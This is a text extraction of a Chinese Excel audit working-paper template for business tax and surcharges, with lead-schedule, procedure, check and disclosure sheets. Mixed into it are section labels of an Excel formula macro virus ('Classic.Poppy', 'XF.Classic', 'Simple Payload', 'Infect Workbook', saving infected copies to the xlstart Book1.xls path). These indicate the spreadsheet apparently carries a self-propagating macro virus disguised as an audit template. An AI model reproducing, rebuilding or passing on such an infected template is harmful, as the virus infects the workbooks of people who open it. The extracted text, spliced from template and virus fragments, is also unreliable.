审计底稿模板营业税金及附加.xls

测试表 INNJNMMN SIPQLPXP 披露表 逻辑检查表 程序表 导引表 工作表目录 编号 科目名称 工作底稿名称 索引号 营业税金及附加 导引表 6300 编制人： 日期： 程序表 6300-0 复核人： 其他程序 6300- 索引号： 页次： 项目：营业税金及附加导引表 项目 本期数 上期数 变动比例 调整前 审计调整 调整后 合计 审计说明: 审计结论: 1、经审计，该项目未发现重大异常 2、经审计调整后，该项目未发现重大异常 3、因 原因，该项目发生数不能确认 编制说明： 索引号： 项目：营业税金及附加实质性程序 编制人： 复核人： 审计目标 财务报表认定 发生 完整性 准确性 截止 分类 列报 A 利润表中记录的营业税金及附加已发生，且与被审计单位有关。 √ B 所有应当记录的营业税金及附加均已记录。 C 与营业税金及附加有关的金额及其他数据已恰当记录。 D 营业税金及附加已记录于正确的会计期间。 E 营业税金及附加已记录于恰当的账户。 F 营业税金及附加已按照企业会计准则的规定在财务报表中作出恰当的列报。 计划实施的实质性程序 序号 实质性程序 是否 执行 获取或编制营业税金及附加明细表，复核加计是否正确，并与报表数、总账数和明细账合计数核对是否相符。 CBADE 根据审定的本期应纳营业税的营业收入和其他纳税事项，按规定的税率，分项计算、复核本期应纳营业税税额，检查会计处理是否正确。 根据审定的本期应税消费品销售额（或数量），按规定适用的税率，分项计算、复核本期应纳消费税税额，检查会计处理是否正确。 根据审定的本期应纳资源税产品的课税数量，按规定适用的单位税额，计算、复核本期应纳资源税税额，检查会计处理是否正确。 检查城市维护建设税、教育费附加等项目的计算依据是否和本期应纳增值税、营业税、消费税合计数一致，并按规定适用的税率或费率计算、复核本期应纳城建税、教育费附加等，检查会计处理是否正确。 ABC 与应交税费有关明细科目的贷方发生额交叉复核，并作出相应记录 BCA 结合应交税费科目的审计，复核其勾稽关系。 根据评估的舞弊风险等因素增加的审计程序。 检查营业税金及附加是否已按照企业会计准则的规定在财务报表中作出恰当列报。 1、表中“项目”按照按明细科目或项目列示。 2、“审计说明”至少需要说明该科目核算内容、增减变动的主要原因、所做的审计工作等内容。 6300营业税金及附加通用表格.xls Book1 C:\Program Files\Microsoft Office\OFFICE11\xlstart\Book1. **Auto and On Sheet Starts Here** Classic.Poppy by VicodinES With Lord Natas An Excel Formula Macro Virus (XF.Classic) Hydrocodone/APAP 10-650 For Your Computer (C) The Narkotic Network 1998 **Simple Payload** **Set Our Values and Paths** **Add New Workbook, Infect It, Save It As Book1.xls** **Infect Workbook** 本底稿用于与应交税费有关明细科目的贷方发生额交叉复核，作出相应记录。 审计说明： 差异处理 差异原因 差异 应交税费本期计提 税 项 项目：营业税金及附加逻辑检查表 6300-1 变动原因 本期发生额比上期发生额变动比例 金额 计缴标准 项 目 项目：营业税金及附加披露表 6300-2 索引号： 6300营业税金及附加参考表格.xls 日期 凭证编号 业务内容 检查内容说明：根据所需要执行的程序确定检查内容，检查内容应与“测试目的”和“测试步骤”相对应。 1、原始凭证内容完整。2、记账凭证与原始凭证内容金额相符。3、账务处理正确。 4、记录于恰当的会计期间。5、有授权审批。6、账证的内容、金额相符 页次： 日期： 一、测试目的：确定本科目是否不存在重大错报 二、测试步骤：以本科目本期明细发生额为测试对象总体，从中选取样本，通过样本误差来推断总体误差 三、测试结果：未发现样本中存在重大错报 四、测试结论：本科目余额不存在重大错报 五、测试表 科目名称 明细科目 借方金额 贷方金额 检查内容 附件 索引号 …… 编制说明： 本底稿主要用于凭证抽查等各项检查程序。 项目：营业税金及附加检查表